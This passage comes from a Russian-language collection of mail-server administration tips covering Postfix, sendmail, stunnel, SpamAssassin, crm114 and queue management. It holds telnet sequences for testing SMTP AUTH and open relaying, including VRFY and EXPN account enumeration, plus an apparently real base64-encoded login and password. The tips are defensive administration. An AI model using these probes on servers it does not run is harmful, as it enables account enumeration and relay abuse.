    оно оветит:
    
       220 host.domain.ru ESMTP Postfix
    
    говорим ему:
    
       ehlo host
    
    (где host -имя машины)
    оно ответит:
    
       220 host.domain.ru ESMTP Postfix
       250-host.domain.ru
       250-PIPELINING
       250-SIZE 10240000
       250-VRFY
       250-ETRN
       250-AUTH LOGIN PLAIN
       250-ENHANCEDSTATUSCODES
       250-8BITMIME
       250 DSN
    
    если есть строка 250-AUTH LOGIN PLAIN - то значит есть вероятность успеха.
    теперь заходим без авторизации и смотрим как наше сообщение не проходит:
    
       mail from: user@domain.ru
    
    оно:
    
       250 2.1.0 Ok
    
    мы:
    
       rcpt to: user2@domain.ru
    
    оно:
    
       554 5.7.1 <user2@domain.ru>: Relay access denied
    
    - значит все отлично нас не пустили просто так.
    напечатайте
    
       quit
    
    и теперь идем с регистрацией:
    
       telnet айпиадрес 25
    
       220 host.domain.ru ESMTP Postfix
    
       ehlo host
    
       250-host.domain.ru
       250-PIPELINING
       250-SIZE 10240000
       250-VRFY
       250-ETRN
       250-AUTH LOGIN PLAIN
       250-ENHANCEDSTATUSCODES
       250-8BITMIME
       250 DSN
    
    теперь вводим:
    
       auth login
    
    оно скажет нам сообщение вида:
    
       334 VXNlcm5hbWU6
    
    теперь запускаем, предварительно заполнив, тот скриптик который был указан выше
    и вводим наш логин зашифрованный base64 в ответ на последнее сообщение.
    у меня это:
    
       cGVuc2U=
    
    на что сервер ответил
    
       334 UGFzc3dvcmQ6
    
    теперь пароль в том же виде:
    
       cnZpZGlh
    
    на что оно нам ответит если все было правильно:
    
       235 2.0.0 Authentication successful
    
    вот оно - авторизация пройдена.
    теперь соответственно
    
       mail from:
       rcpt to:
       data
      hello world
      .
      quit
    
    все. письмо отправлено.
    
     
    ----* popa3d + TLS/SSL (stunnel) на FreeBSD 5.4   Автор: Вотинцев Сергей А.  [комментарии]
     
    Установка stunnel:
    
       cd /usr/ports/security/stunnel
       make && make install (!) не торопимся делать clean
       Копируем из папки work в /usr/local/etc/stunnel - stunnel.cnf, затем делаем make clean.
    
    Создаем сертификат:
       cd /usr/local/etc/stunnel && openssl req -new -x509 -days 365 \
          -nodes -config stunnel.cnf -out stunnel.pem -keyout stunnel.pem
       chmod 600 stunnel.pem && chown root:wheel stunnel.pem
    
    Конфиг для stunnel:
    
       cert = /usr/local/etc/stunnel/stunnel.pem
       RNDfile = /usr/local/etc/stunnel/stunnel.rnd
       chroot = /usr/local/var/stunnel/
       setuid = stunnel
       setgid = stunnel
       pid = /run/stunnel.pid
       output = /var/log/stunnel.log
       ciphers = HIGH
       debug = 6
       compression = rle
       [pop3s]
       accept  = 995
       connect = 127.0.0.1:110
    
    Делаем chroot:
    
       cd /usr/local/var && mkdir stunnel && cd stunnel
       mkdir etc && touch hosts.allow
       cd .. && mkdir run
    
    Содержание hosts.allow:
    
       pop3s : ALL : allow
       ALL : ALL : deny
    
    Права на директории /usr/local/var/stunnel
    
       drwxr-xr-x  2 root     wheel    512 Jul 30 20:31 etc
       drwxr-xr-x  2 stunnel  stunnel  512 Aug  3 15:55 run
    
    Правим rc.conf, если у Вас запускается только popa3d из inetd:
    
       inetd_flags="-wWa 127.0.0.1"
       /usr/local/etc/rc.d/stunnel.sh start
    
    Просмотр ciphers:
    
       openssl ciphers -v 'HIGH'
    
     
    ----* Ограничение приема внешней почты в postfix. (доп. ссылка 1)   Автор: SHRDLU  [обсудить]
     
    Пример введения ограничений на прием внешней почты для определенных адресов. 
    В конкретном примере, пользователь с адресом test@domain.com имеет право на
    прием и передачу сообщений
    только в пределах domain.com. Ни написать на другие адреса, ни принять почту с них он не может. 
    Остальные пользователи спокойно пишут куда хотят и получают почту с любых адресов.
    
    /etc/postfix/main.cf:
        smtpd_recipient_restrictions = hash:/etc/postfix/protected_destinations,  
                  check_sender_access hash:/etc/postfix/restricted_senders, 
                  permit_sasl_authenticated, permit_auth_destination, reject
        smtpd_restriction_classes = local_only, insiders_only
        local_only = check_recipient_access hash:/etc/postfix/local_domains, reject
        insiders_only = check_sender_access hash:/etc/postfix/local_domains, reject
    
    В /etc/postfix/restricted_senders:
        test@domain.com           local_only
        test@mail.domain.com      local_only
    
    В /etc/postfix/local_domains:
        domain.com     OK
        mail.domain.com  OK
    
    В /etc/postfix/protected_destinations:
        test@domain.com insiders_only
        test@mail.domain.com insiders_only
    
    И не забыть потом:
        postmap /etc/postfix/restricted_senders
        postmap /etc/postfix/local_domains
        postmap /etc/postfix/protected_destinations
        postfix reload 
    
    См. также http://www.opennet.dev/base/net/postfix_per_user_acl.txt.html 
    
     
    ----* Запуск postfix в chroot окружении   [обсудить]
     
    1. В /var/spool/postfix создаем директории dev и etc.
        В etc копируем файлы /etc/host.conf /etc/localtime /etc/services /etc/resolv.conf
    
    2. Правим master.cf, ставим в колонке chroot символ 'y' у следующих процессов:
        smtp, pickup, cleanup, qmgr, rewrite, bounce, defer, trace, verify, flush, relay, showq, error
    3. Активируем proxymap для чтения файлов из вне chroot окружения (/etc/passwd,
    aliases, различные "map"-файлы), например:
        local_recipient_maps = $alias_maps proxy:unix:passwd.byname 
        relay_domains = $mydestination, proxy:hash:/usr/local/etc/postfix/relay_domains
        smtpd_sender_restrictions = check_sender_access proxy:hash:/usr/local/etc/postfix/ access, 
                   reject_non_fqdn_sender, reject_unknown_sender_domain
        smtpd_client_restrictions = check_client_access proxy:hash:/usr/local/etc/postfix/access_clients,
                   check_recipient_access proxy:hash:/usr/local/etc/postfix/spam_allowed,
                   check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list,
                   check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list_arc,
                   check_client_access regexp:/usr/local/etc/postfix/dsl_stoplist.txt,
                   reject_rbl_client rbl.test.ru
        smtpd_recipient_restrictions = check_recipient_access proxy:hash:/usr/local/etc/postfix/fullboxes,
                   reject_non_fqdn_recipient,
                   permit_mynetworks,
                   reject_unknown_recipient_domain,
                   reject_unauth_destination
        transport_maps = proxy:hash:/usr/local/etc/postfix/transport
        proxy_read_maps = $smtpd_helo_restrictions $smtpd_recipient_restrictions $smtpd_sender_restrictions \
                   $smtpd_client_restrictions $local_recipient_maps $mydestination $virtual_alias_maps \
                   $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps \
                   $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps \
                   $relocated_maps $transport_maps $mynetworks
    
    3. Создаем дополнительный syslog сокет в chroot окружении:
        FreeBSD: "syslogd -l /var/spool/postfix/dev/log" 
        Linux: "syslogd -a /var/spool/postfix/dev/log"
    
     
    ----* Как запретить выполнение программ через .forward файл.   [обсудить]
     
    Часто ограничив cgi скрипты пользователей и доcтуп по FTP, 
    забывают про возможность запуска программ через "|script" опцию в .forward файле.
    Запрещение выполнения скриптов через .forward в Postfix (для агента доставки local):
      allow_mail_to_commands = alias
      local_command_shell=/dev/null
    Вообще запретить .forward, через изменение пути поиска:
      forward_path = $home/.forward
    
     
    ----* Как заставить postfix проверять наличие локального пользователя в системе на этапе соединения   [комментарии]
     
    В main.cf добавьте строчку:
        local_recipient_maps = $alias_maps unix:passwd.byname
    Без данной опции, postfix полностью принимает письмо для любого пользователя, 
    даже для несуществующего, и лишь потом рассылает bounce сообщение.
    С local_recipient_maps ошибка генерируется сразу на этапе RCPT TO:
    
     
    ----* Тестирование на открытый relaying   [обсудить]
     
    telnet domen 25
    HELO hostname
    VRFY email_адрес
    EXPN email_addr
    MAIL FROM: email_адрес_от_кого
    RCPT TO: email_адрес_кому
    DATA
    test
    .
    QUIT
    
     
    ----* Как заставить sendmail не отправлять все тело письма при ошибке   [комментарии]
     
    В sendmail.cf добавить nobodyreturn, например:
        O PrivacyOptions=authwarnings, novrfy, noexpn, nobodyreturn
    При использовании, M4: 
        define(`conf_PRIVACY_FLAGS', `authwarnings, noexpn, novrfy, nobodyreturn')
    В Postfix:
        bounce_size_limit = 10000
    
     
    ----* какие ограничения нужно установить в sendmail.cf   [комментарии]
     
    в sendmail.cf
    O MaxRecipientsPerMessage=20
    O MaxMessageSize=1000000
    При использовании M4 макросов:
    define('confMAX_RCPTS_PER_MESSAGE', '20')
    define('confMAX_MESSAGE_SIZE', '1000000')
    
     
    ----* Какие ограничения для пользователей выставить в Postfix.   [комментарии]
     
    # Ограничиваем размер сообщения в 1 Мб.
    message_size_limit = 1024000
    # Ограничичиваем число CC в одном письме.
    smtpd_recipient_limit = 5
    # Ограничиваем размер ящика 
    mailbox_size_limit = 51200000
    Если patch.mailbox:
    # формат inbox-size-override: login макс_размер
    default_mailbox_size = 5000
    mailbox_size_map = hash:/etc/postfix/inbox-size-override
    
     
    ----* Как заблокировать проверку наличия аккаунта в системе через SMTP   [комментарии]
     
    Проверку через "expn логин_пользователя" или "vrfy логин_пользователя",
    можно заблокировать в sendmail:
    В sendmail.cf добавить "O PrivacyOptions=authwarnings, noexpn, novrfy"
    (можно использовать опции needexpnhelo, needvrfyhelo, которые требуют
     наличия предварительного HELO для выполнения EXPN или VRFY)
    или m4 макросом 
    define(`conf_PRIVACY_FLAGS', `authwarnings, noexpn, novrfy')
    В Рostfix: disable_vrfy_command = yes
    
     

       Борьба со спамом, фильтрация почты

    ----* Удаление адреса почтового сервера из чёрных списков SORBS.net   Автор: sarge  [комментарии]
     
    Тема блэклистов известна, наверное, каждому администратору почты. Однако здесь,
    как и везде, есть подводные камни.
    
    Речь идет о sorbs.net. Если вы попали туда один раз (т.е. без повторений), то
    в течение 48 часов ваш адрес удалится из их базы автоматически. Либо же, вы
    можете сделать это вручную на их сайте. Однако если, вы попадали туда
    неоднократно, т.е. отметок о спаме с вашего IP более двух, то простой метод
    удаления не работает.
    
    Что надо сделать:
    
    1. полечить почтовый сервер, чтобы спама больше не было гарантированно;
    2. создать аккаунт на их сайте;
    3. отослать заявку в их SUPPORT.
    
    Дело должно закончиться вот этим:
    
       Created SORBS ticket #123456
       Created SORBS ticket [sorbs.net #123456] in the database.
    
       You should receive an email about this ticket shortly, please use the SORBS Ticket interface at:
       http://support.sorbs.net/Ticket/Display.html?id=123456  
    
    И вот тут начинается самое интересное!
    Никакого ответа вам не придёт.
    Заявка будет закрыта автоматом с отрицательным статусом.
    
    Для того чтобы добиться внимания их специалиста, надо зайти в их тикет-систему
    по ссылке выше (не спешите закрывать страницу support после оформления заявки!)
    и там найти вот такой ответ робота:
    
       This host has not been previously delisted but has more than 10 previous listings
    
       We are setting this ticket to 'Rejected', as an action is required 
       in your part before we can update our lists regarding the IP address(es)
       you wrote to us about.
    
       Action required: As you are requesting a delisting of an IP/Network
       that has either sent spam recently or has sent so much spam that it 
       exceeds our preset thresholds you must reply to this message justifying
       your cause and why you think you should be delisted.
    
       Someone will then review your case and reply accordingly.
    
    
    И сделать ответ на него, поменяв статус письма на открытый!
    
    Далее после непродолжительного ожидания получаем:
    
       As you've resolved this issue, and we have seen no further spam  
       occurrences within the last 48 hours, I've de-listed this IP.  Please    
       feel free to open a new request should any of your IPs become listed again.
    
     
    ----* Фильтрация исходящих почтовых сообщений с помощью sieve   Автор: Alexander Galanin  [комментарии]
     
    Предпочитаю хранить почтовые дискуссии в одном месте, а не держать отправленные
    письма отдельно в папке Sent, как это по умолчанию делают IMAP-клиенты. Поэтому
    по добавлению новой почты в папку Sent я вызываю sieve-скрипт для её обработки.
    
    Конфигурация
    
    
  • почтовый сервер dovecot, dovecot-imapd, dovecot-sieve
  • почта хранится в домашнем каталоге пользователя в формате maildir
  • для слежения за состоянием файловой системы используется incron Настройка Создаём скрипт, фильтрующий отправленные сообщения. Например, такой (расширение imap4flags нужно для сохранения флага \\seen у сообщения): require ["imap4flags", "fileinto", "variables", "date"]; # Сохраняем архив сообщений в папку archive.$год if currentdate :matches "year" "*" { set "archiveFolder" "archive.${1}"; } # Сообщения, отправленные самому себе. Нет смысла иметь копию, так что помещаем в Trash. if address :is "To" "user@example.com" { fileinto "Trash"; stop; } # Сообщения в списки рассылок сразы кладём в архив. if address :is "To" "debian-russian@lists.debian.org" { fileinto "${archiveFolder}"; stop; } # Если письмо является ответом на что-то, то кладём его в INBOX. if exists "In-Reply-To" { fileinto "INBOX"; } # Все прочие сообщения будут оставлены на своём месте. Проверяем скрипт на папке Sent (путь к месту расположения берётся из конфигурации dovecot). Скрипт выведет список действий, которые будут проведены с каждым письмом. Убеждаемся, что он делает именно то, что нужно: sieve-filter /path/to/script Sent Далее настраиваем таблицу incron. Для этого записываем в редакторе нижеприведённую при вызове incrontab -e. sieve-скрипт будет вызываться при перемещении новых писем в maildir-папку Sent и будет обрабатывать всё там находящееся. /home/user/Maildir/.Sent/cur IN_MOVED_TO /usr/bin/sieve-filter -e -W /path/to/script При следующей отправке письма папка отсортируется. Замечу, что подобным образом можно фильтровать любую другую папку при помещении в неё писем.
  •  
    ----* Настройка crm114 в связке с dovecot-antispam   Автор: Alexander Galanin  [комментарии]
     
    Плагин dovecot-antispam для dovecot позволяет сделать обучение 
    спамофильтра более удобным: указав плагину имя директории со спамом, можно 
    автоматически обозначать почту как спам или не спам, перенося её в/из 
    этой директории соответственно. В данном статье рассматривается способ 
    организации связки MDA (maildrop), фильтра (crm114) и IMAP-сервера 
    (dovecot) для реализации этой возможности. В качестве базовой системы 
    рассматривается Debian 6.0 (squeeze).
    
    Установка
    
    Установим необходимые пакеты штатным способом из репозитория (для 
    dovecot-antispam потребуется подключить репозиторий squeeze-backports 
    или взять версию из wheezy):
    
  • dovecot
  • dovecot-antispam
  • crm114 (содержит почтовый фильтр)
  • maildrop (или любой другой MDA, который Вы сумеете настроить должным образом)
  • mew-bin (для распаковки MIME-вложений) Настройка dovecot-antispam Скопируйте шаблон настроек плагина из man dovecot-antispam в /etc/dovecot/dovecot.conf или во включаемый файл настроек. Задайте путь к исполняемому файлу mailreaver из состава crm114 и укажите имена папок для спама, подозрительных на спам писем и папки удалённых сообщений. plugin { # backend selection, MUST be configured first, # there's no default so you need to set one of # these options: antispam_backend = crm114 # semicolon-separated list of Trash folders (default unset i.e. none) antispam_trash = Trash # semicolon-separated list of spam folders antispam_spam = spam # semicolon-separated list of unsure folders (default unset i.e. none) antispam_unsure = suspicious #=================== # crm114 plugin # mailreaver binary antispam_crm_binary = /usr/share/crm114/mailreaver.crm # semicolon-separated list of extra arguments to dspam # (default unset i.e. none) antispam_crm_args = --fileprefix=%h/.crm114/ # NOTE: you need to set the signature for this backend antispam_signature = X-CRM114-CacheID } Включите плагин антиспама в dovecot.conf protocol imap { mail_plugins = antispam mail_plugin_dir = /usr/lib/dovecot/modules/imap } Предварительная настройка CRM114 Согласно указанному в переменной antispam_crm_args, будем хранить настройки crm114 в подкаталоге .crm114 родительского каталога пользователя. Распакуйте пример настроечного файла mailfilter.cf из /usr/share/doc/crm114/examples/mailfilter.cf.gz и отредактируйте его, особое внимание обратив на поля spw, mime_decoder, log_to_allmail.txt и trainer_invoke_command. Создайте файл rewrites.mfp аналогичного вида, указав подходящую информацию: vassile@pupkine.example.com>->MyEmailAddress [[:space:]]Vassile Pupkine>-> MyEmailName mail.example.com>->MyLocalMailRouter 192.168.10.20>->MyLocalMailRouterIP Инициализируйте базы спама/не спама: cssutil -b -r spam.css cssutil -b -r nonspam.css Создайте (возможно, пустой) файл priolist.mfp, предназначенный для хранения белых/чёрных списков хостов Настройка MDA При получении письма следует его сначала пропустить через mailreaver из комплекта CRM114, чтобы добавить заголовки с информацией о результате проверки и идентификатором сообщения в кеше. Последнее будет использоваться впоследствии при переобучении фильтра. Затем, в зависимости от результатов проверки, письмо сохраняется в папку спама или подозрительных писем. Для maildrop и хранилища почты в виде Maildir вышеописанное будет выглядеть следующим образом: DEFAULT="$HOME/Maildir" xfilter "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/" if (/X-CRM114-Status: SPAM.*/) { to $DEFAULT/.spam/ } if (/X-CRM114-Status: Unsure.*/) { to $DEFAULT/.suspicious/ } Обучение спамофильтра Теперь пора приступать к обучению фильтра:
  • Спам перемещать в папку spam
  • Нужные сообщения перемещать из папок spam и suspicious в подходящее место
  • Для обучения спамофильтра на ранее пришедших письмах используйте: "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/ --good < /путь/к/письму "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/ --spam < /путь/к/письму
  • Для исходящей почты предусмотрен отдельный режим обучения: "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/ --outgoing < /путь/к/письму
  •  
    ----* Модификация транзитной почты на сервере с Postfix (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для автоматического добавления текста к письмам, например, уведомления о
    необходимости сохранения коммерческой тайны, можно использовать  alterMIME
    (http://pldaniels.com/altermime/). При помощи alterMIME также можно добавлять в
    транзитную почту произвольные заголовки, изменять содержимое существующих
    заголовков, удалять и заменять вложения в зависимости от имени файла и типа контента.
    
    Устанавливаем altermime в Debian/Ubuntu:
    
       aptitude install altermime
    
    или для Fedora/CentOS:
    
       yum install altermime
    
    Для запуска altermime-фильтров будем использовать отдельного пользователя:
    
       useradd -r -c "Postfix Filters" -d /var/spool/filter filter
       mkdir /var/spool/filter
       chown filter:filter /var/spool/filter
       chmod 750 /var/spool/filter
    
    Создаем скрипт /etc/postfix/disclaimer для запуска alterMIME, взяв за основу
    готовый пример, который есть в комплекте:
    
       cp /usr/share/doc/altermime/examples/postfix_filter.sh /etc/postfix/disclaimer
       chgrp filter /etc/postfix/disclaimer
       chmod 750 /etc/postfix/disclaimer
    
    По умолчанию скрипт не различает входящие и исходящие письма, для того чтобы
    добавлять уведомление только в исходящие письма скрипт нужно немного модифицировать.
    
    Правим скрипт /etc/postfix/disclaimer:
    
       #!/bin/sh
       INSPECT_DIR=/var/spool/filter
       SENDMAIL=/usr/sbin/sendmail
    
       DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
    
       # Exit codes from <sysexits.h>
       EX_TEMPFAIL=75
       EX_UNAVAILABLE=69
    
       # Clean up when done or when aborting.
       trap "rm -f in.$$" 0 1 2 3 15
    
       # Start processing.
       cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit $EX_TEMPFAIL; }
    
       cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
    
       # obtain From address
       from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
    
       if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
         /usr/bin/altermime --input=in.$$ \
                       --disclaimer=/etc/postfix/disclaimer.txt \
                       --disclaimer-html=/etc/postfix/disclaimer.txt \
                       --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                        { echo Message content rejected; exit $EX_UNAVAILABLE; }
       fi
     
       $SENDMAIL "$@" <in.$$
    
       exit $?
    
    Создаем файл etc/postfix/disclaimer_addresses с перечнем адресов для которых
    следует добавлять уведомление:
    
       test1@example.com
       test2@example.com
    
    Текст уведомления помещаем в файл /etc/postfix/disclaimer.txt.
    
    Настраиваем Postfix для вызова alterMIME, в /etc/postfix/master.cf добавляем в строку "smtp":
    
       -o content_filter=dfilt:
    
    т.е. получаем:
    
       smtp      inet  n       -       -       -       -       smtpd
          -o content_filter=dfilt:
    
    в конец файла добавляем:
    
       dfilt     unix    -       n       n       -       -       pipe
          flags=Rq user=filter argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
    
    Перезапускаем Postfix:
    
       /etc/init.d/postfix restart
    
    Для замены или удаления вложения необходимо изменить скрипт
    /etc/postfix/disclaimer, использовав другие опции запуска altermime:
       "--remove=имя файла" (удаление вложения), 
       "--replace=имя файла --with=файл для замены" (замена вложения), 
       "--removeall" (удаление всех вложений), 
       "--alter-header=заголовок --alter-with=замены --alter-mode=replace" (замена заголовка),
       "--xheader=заголовок" (добавление заголовка)
    
     
    ----* Скрытие локальных адресов авторизованных пользователей в Postfix (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Необходимо, чтобы вместо подобных заголовков:
    
       Received: from localhost (dyn.pool.example.net [172.31.64.88])
    	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
    	(No client certificate requested)
    	by mx.example.com (Postfix) with ESMTPSA id A2019508951
    	for <user@example.net>; Wed, 23 Jun 2010 17:34:29 +0900 (JST)
    
    стало так:
    
       Received: by mx.example.com (Postfix) with ESMTPSA id A2019508951
    	for <user@example.net>; Wed, 23 Jun 2010 17:34:29 +0900 (JST)
    
    Решение:
    
    1. Включаем добавление нужного нам заголовка:
    
       smtpd_sasl_authenticated_header = yes
    
    2. Включить header_checks, если они ещё не включены:
    
       header_checks = pcre:/etc/postfix/header_checks
    
    3. Добавить в /etc/postfix/header_checks правило для замены строки, которую
    хочется скрыть, заменив в примере mx\.example\.com на имя нужного почтового сервера:
    
       /^Received: from .*?([[:space:]]+\(Authenticated sender: [^)]+\).*by mx\.example\.com .*)/
       REPLACE Received: from [127.0.0.1] (localhost [127.0.0.1])${1}
    
    4. Правило легко доработать чтобы скрывалась строка "Authenticated sender". Например, так:
    
       /^Received: from .*?\(Authenticated sender: [^)]+\)[[:space:]]+(by mx\.example\.com .*)/
       REPLACE Received: ${1}
    
    Проверить полученное регулярное выражение можно командой:
    
       postmap -h -q - pcre:/etc/postfix/header_checks < test_message
    
     
    ----* Примеры управлением очередью сообщений в Postfix   [комментарии]
     
    Инициировать внеплановый процесс отправки сообщений, присутствующих в очереди:
       postqueue -f
    
    Показать содержимое очереди:
       postqueue -p
    
    Инициировать внеплановую доставку накопившихся в очереди сообщений для домена test.ru:
       postqueue -s test.ru
    
    Постмотреть параметры сообщения и причины проблем с отправкой для заданного
    идентификатора сообщения в очереди:
       postcat -q 54D4E563B51
    
    Очистить из очереди домены по заданной маске:
       mailq| ./agr_mailq.pl|grep -E 'MAILER-DAEMON|yahoo|\.de|\.fr|\.it|\.ch'|awk '{print $1}'\
         | tr -d '*!'|xargs  -J{} -n1 postsuper -d {} deferred
       mailq| ./agr_mailq.pl|grep -E 'MAILER-DAEMON|yahoo|\.de|\.fr|\.it|\.ch'|awk '{print $1}'\
         | tr -d '*!'|xargs  -J{} -n1 postsuper -d {}
    
    
    где agr_mailq.pl скрипт следующего содержания:
    
       #!/usr/bin/perl
       my $cur_line="";
       while(<>){
           chomp();
           if (/^[\w\d\*]+\s+\d+/){
               print "$cur_line\n";
               $cur_line=$_;
           } else {
               s/\s+//s;
               $cur_line .= "\t" . $_;
           }
       }
    
    
    Отфильтровать и удалить из очереди только сообщения на 5 и более адресов разом:
       mailq |./agr_mailq_big.pl| tr -d '*!'|xargs  -J{} -n1 postsuper -d {}
    
    где agr_mailq_big.pl:
    
       #!/usr/bin/perl
       my $cur_line="";
       my $counter=0;
       while(<>){
           chomp();
           if (/^[\w\d\*]+\s+\d+/){
               if ($counter >= 5){
                   print "$cur_line\n";
               }
              $cur_line=$_;
               $counter=0;
           } else {
               s/\s+//s;
               $cur_line .= "\t" . $_;
               $counter++;
           }
       }
    
    Посмотреть список доменов в очереди и число сообщений для них:
       mailq |./agr_mailq.pl |awk '{print $7}'|cut -d'@' -f2|sort|uniq -c|sort -r -n
    
    Записав такие домены в файл, можно вручную отсеять нормальные домены и затем
    разом удалить мусор из очереди:
    
       mailq| ./agr_mailq.pl|grep -f ./spamdomains.list |awk '{print $1}'\
          | tr -d '*!'|xargs  -J{} -n1 postsuper -d {}
    
     
    ----* Пример настроек для Spamassassin   [комментарии]
     
    /etc/mail/spamassassin/local.cf
    
    # Порог срабатывания пометки на спам
    required_hits   5.0
    
    # Пометка спама через добавление метки в заголовок:
    rewrite_header Subject ***SPAM***
    rewrite_subject 1
    report_safe 0
    report_charset koi8-r
    
    # Сети из которых не помечать сообщения как спам
    trusted_networks 211.57.52.
    internal_networks 218.43.28.0/255.255.255.0
    
    
    # Пропускаем только сообщения на русском и английском языках (слишком русурсоемкая операция!)
    ok_locales en ru uk
    
    # Не используем для массовых систем баесовские адаптивные методы.
    use_bayes 0
    # bayes_path /path
    
    # Автоматически формируем белый список, чтобы не проверять уже ранее признанные
    не спамом сообщения
    use_auto_whitelist 1
    auto_whitelist_path /usr/local/amavis/db/auto_whitelist
    
    # Пропускаем проверки, вносящие заметную задержку в обработку сообщения. 
    # Для небольшого трафика можно включить
    use_razor2 0
    use_dcc 0
    use_pyzor 0
    skip_rbl_checks 1
    # dns_available no
    # num_check_received 0
    # bl_timeout 1
    dns_available test: 211.57.52.2 218.43.28.2
    
    # Изменение весовых характеристик, влияющих на пометку как спам. 
    # Подобрано экспериментальным путем
    
    score MIME_HTML_ONLY 3.0
    score HTML_MESSAGE 0.5
    score MIME_HTML_MOSTLY 2.5
    score FORGED_OUTLOOK_TAGS 1.8
    score SUBJ_ILLEGAL_CHARS 1.5
    score FROM_ILLEGAL_CHARS 1.0
    
    score HTML_FONTCOLOR_RED 1.0
    score HTML_FONTCOLOR_GREEN 1.0
    score HTML_FONTCOLOR_BLUE 1.0
    score HTML_FONT_INVISIBLE 1.5
    score HTML_IMAGE_ONLY_06 3.5
    
    score HTML_FONTCOLOR_UNSAFE 1.5
    score HTML_MIME_NO_HTML_TAG 0.1
    score HTML_TAG_EXIST_TBODY 1.0
    score HTML_TAG_BALANCE_BODY 0.4
    score HTML_FONT_BIG 0.8
    score RCVD_NUMERIC_HELO 2.0
    score MSGID_FROM_MTA_ID 1.8
    score MPART_ALT_DIFF 2.0
    
    score HTML_IMAGE_ONLY_04 3.120
    score HTML_IMAGE_ONLY_08 2.881
    score HTML_IMAGE_ONLY_12 2.360
    score HTML_IMAGE_ONLY_16 1.352
    score HTML_IMAGE_ONLY_20 1.567
    score HTML_IMAGE_ONLY_24 1.088
    
    score HTML_00_10 0.985
    score HTML_10_20 1.050
    score HTML_20_30 1.241
    score HTML_30_40 0.879
    score HTML_40_50 0.6
    score HTML_50_60 1.053
    score HTML_60_70 0.516
    
    score HTML_TEXT_AFTER_HTML 0.5
    score HTML_TEXT_AFTER_BODY 0.4
    score EXTRA_MPART_TYPE 0.3
    score RCVD_HELO_IP_MISMATCH 3.0
    # score FORGED_RCVD_HELO 0.0
    #score FROM_STARTS_WITH_NUMS 1.0
    #score DATE_MISSING 3.000
    
    score HELO_DYNAMIC_ADELPHIA 2
    score HELO_DYNAMIC_ATTBI 4
    score HELO_DYNAMIC_CHELLO_NL 2
    score HELO_DYNAMIC_CHELLO_NO 2
    score HELO_DYNAMIC_COMCAST 4
    score HELO_DYNAMIC_DHCP 3.5
    score HELO_DYNAMIC_DIALIN 3.5
    score HELO_DYNAMIC_HCC 4
    score HELO_DYNAMIC_HEXIP 3
    score HELO_DYNAMIC_HOME_NL 3
    score HELO_DYNAMIC_IPADDR 4
    score HELO_DYNAMIC_IPADDR2 4
    score HELO_DYNAMIC_NTL 3
    score HELO_DYNAMIC_OOL 4
    score HELO_DYNAMIC_ROGERS 3
    score HELO_DYNAMIC_RR2 3
    score HELO_DYNAMIC_SPLIT_IP 4
    score HELO_DYNAMIC_TELIA 3
    score HELO_DYNAMIC_VELOX 3
    score HELO_DYNAMIC_VTR 3
    score HELO_DYNAMIC_YAHOOBB 4
    
    # Пример, как принудительно не помечать как спам соответствующие 
    # определенным критериями сообщения
    
    header FOREX_SUBJECT   Subject =~ /^Forex Trading/
    describe FOREX_NIGERIAN_SUBJECT Subject is Forex Trading Strategies
    score FOREX_SUBJECT -2
    
     
    ----* Проверка существования email в AD (ldap) для маршрутизации письма на Exchange   Автор: 2dfx  [комментарии]
     
    У нас в компании используется сервер Exchange для обмена почтовыми сообщениями.
    Но для отправки сообщений во "вне" используем Communigate Pro.
    Communigate (CGP for Linux) используется только как прослойка и письма
    отправленные на известные домены пересылаются на  Exchange.
     
    схема
     
       Internet
          |
          |
       Communigate Pro
          |
          |
       Exchange
          |
          |
       Users
     
    Но если просмотреть логи, то можно увидеть, что есть огромные очереди на
    адреса, которых не существует и соответственно куча DNR.
    Значит нужно как-то отсеивать эти настырные подключения.
     
    Пришел к выводу, что можно сделать External Authentication + скрипт на perl +
    запретить пересылку писем на exchange (это будет делать скрипт)
     
    Что было сделано.
    
    1. На communigate включил External Authentication (В helpers) с параметрами:
    
       Program Path: /var/CommuniGate/adrelay.pl
       Time-out: 20s
       Auto-Restart: 30s
    
    Не забыть поставить галку External Authentication
     
    2. Так же на communigate в разделе Users - Domain Defaults - Unknown Names:
    
       Consult External for Unknown: Yes
       Mail to Unknown: Rejected
     
    Теперь напишем скрипт в /var/CommuniGate/adrelay.pl
      
       #!/usr/bin/perl
       use Net::LDAP;
       my  $searchBase = 'dc=DOMAIN,dc=local';
       my @ldap_servers=(
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP server
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP    server2
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP  server3
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
         adminDN=>'LDAPUSER@DOMAIN.local',  # the DN for admin bind
         adminPassword=>'Password', # the DN PASSWORD for admin bind
       },
       );
    
       $| = 1;
       print "* MegaScript started\n";
       my ($ldapServerID,$ldapServerTried)=(0,0);
       while(<STDIN>) {
         chomp;    # remove \n from the end of line
         my ($prefix,$method,@eargs) = split(/ /);
         if($method eq 'NEW') {
